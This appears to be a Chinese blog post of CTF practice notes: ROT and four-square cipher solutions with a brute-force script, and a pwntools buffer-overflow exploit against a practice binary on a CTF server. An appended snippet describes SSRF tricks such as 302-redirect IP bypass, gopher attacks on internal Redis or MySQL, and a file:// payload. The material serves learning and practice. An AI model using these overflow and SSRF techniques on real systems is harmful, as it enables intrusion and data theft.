CTF学习记录

0x01 Crypto

ROT

题目链接:点击获取

思路

首先,需要了解什么是ROT。ROT是一种简单的替换算法,这种算法的主要加密方法是将所有明文密码同时左移或者右移某一长度,常见的是ROT13。ROT可以在二十六个字母之间替换,也可以在所有可见字符替换,如果没有指明是什么替换的话,全部试一遍也许是个不错的选择,运算量也不大。恺撒加密可以是为ROT的一种。

解密代码
import hashlib

cipher = [83, 89, 78, 84, 45, 86, 96, 45, 115, 121, 110, 116, 136, 132, 132, 132, 108, 128, 117, 118, 134, 110, 123,
          111, 110, 127, 108, 112, 124, 122, 108, 118, 128, 108, 131, 114, 127, 134, 108, 116, 124, 124, 113, 108, 76,
          76, 76, 76, 138, 23, 90, 81, 66, 71, 64, 69, 114, 65, 112, 64, 66, 63, 69, 61, 70, 114, 62, 66, 61, 62, 69,
          67, 70, 63, 61, 110, 110, 112, 64, 68, 62, 70, 61, 112, 111, 112]

def check():
    flag = "flag{www_shiyanbar_com_is_very_good_"
    # print hashlib.md5(flag).hexdigest()
    for a in range(32, 127):
        for b in range(32, 127):
            for c in range(32, 127):
                for d in range(32, 127):
                    print flag + chr(a) + chr(b) + chr(c) + chr(d) + "}"
                    if str(hashlib.md5(flag + chr(a) + chr(b) + chr(c) + chr(
                            d) + "}").hexdigest()) == "38e4c352809e150186920aac37190cbc":
                        print flag + chr(a) + chr(b) + chr(c) + chr(d)
                        return
if __name__ == '__main__':
    for j in range(16):
        flag = ""
        for i in cipher:
            flag += chr(i - j)
        print flag
    check()
flag

本来以为flag后面都是小写字母,所以一开始只跑了小写字母,跑了半天跑不出来,扩大范围后成功搞定:

img

四面八方

题目链接:点击获取

思路

来自题目的提示,四面八方,提示四方密码。四方密码是一种对称式加密法,由法国人Felix Delastelle(1840年–1902年)发明。 这种方法将字母两个一组,然后采用多字母替换密码。首先选择两个英文字作密匙,例如example和keyword。对于每一个密匙,将重复出现的字母去除,即example要转成exampl,然后将每个字母顺序放入矩阵,再将余下的字母顺序放入矩阵,便得出加密矩阵。
将这两个加密矩阵放在右上角和左下角,余下的两个角放a到z顺序的矩阵:
加密的步骤:

  1. 两个字母一组地分开讯息:(例如hello world变成he ll ow or ld);
  2. 找出第一个字母在左上角矩阵的位置;
  3. 同样道理,找第二个字母在右下角矩阵的位置;
  4. 找右上角矩阵中,和第一个字母同行,第二个字母同列的字母;
  5. 找左下角矩阵中,和第一个字母同列,第二个字母同行的字母;
  6. 得到的这两个字母就是加密过的讯息。
  7. he lp me ob iw an ke no bi的加密结果:FY NF NE HW BX AF FO KH MD

flag

自己动手画

0x02 PWN

warmup_csaw_2016

题目链接:点击获取

思路

IDA打开之后,可以看到:

可以看到危险函数gets,常见的危险函数还有strcpy,strcat,sprintf。这些函数可以造成缓冲区溢出。简单的说,我们需要用数据填充缓冲区,覆盖返回地址,这样我们就可以控制代码执行。在这个程序中,存在一个构造好的函数,用于读取flag。

这个地址也被输给我们了,所以我们只要确定到底要覆盖多长就行了。开启pwn-dbg调试。

我们可以用python的pwn模块下的cyclic函数构造一个比较长的字符串并输入,可以发现:

可以发现长度为72

代码
import pwn
#p = pwn.process('./warmup_csaw_2016')
p = pwn.remote('node3.buuoj.cn',26272)
elf = pwn.ELF('./warmup_csaw_2016')
assdr = 0x40060d
pwn.context.log_level = 'DEBUG'
pwn.context(arch='amd64', os='linux')
shellcode = 'a'*72+pwn.p64(assdr)
p.sendline(shellcode)
p.interactive()#
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctfhub是一个CTF训练平台,提供了多个CTF挑战模块,其中包括了SSRF模块。SSRF(Server-Side Request Forgery)是一种攻击技术,可以利用服务器端请求伪造漏洞来发送恶意请求。在ctfhub的SSRF模块中,你可以学习和实践SSRF攻击技术,并利用平台上提供的漏洞来进行实验。 在SSRF中,有一个重要的点是请求可能会跟随302跳转。你可以尝试利用这个来绕过对IP的检测,访问位于127.0.0.1的flag.php文件,从而获取敏感信息。 此外,在SSRF中还可以使用Gopher协议来攻击内网的服务,例如Redis、Mysql、FastCGI、Ftp等等,并发送GET和POST请求。Gopher协议可以说是SSRF中的万金油,大大拓宽了SSRF的攻击面。你可以构造类似于"/?url=file:///var/www/html/flag.php"的本地地址来尝试攻击。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [network-security:学习web安全练习的靶场,以及总结的思维导图和笔记](https://download.csdn.net/download/weixin_42118423/15763452)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [CTFHub—SSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值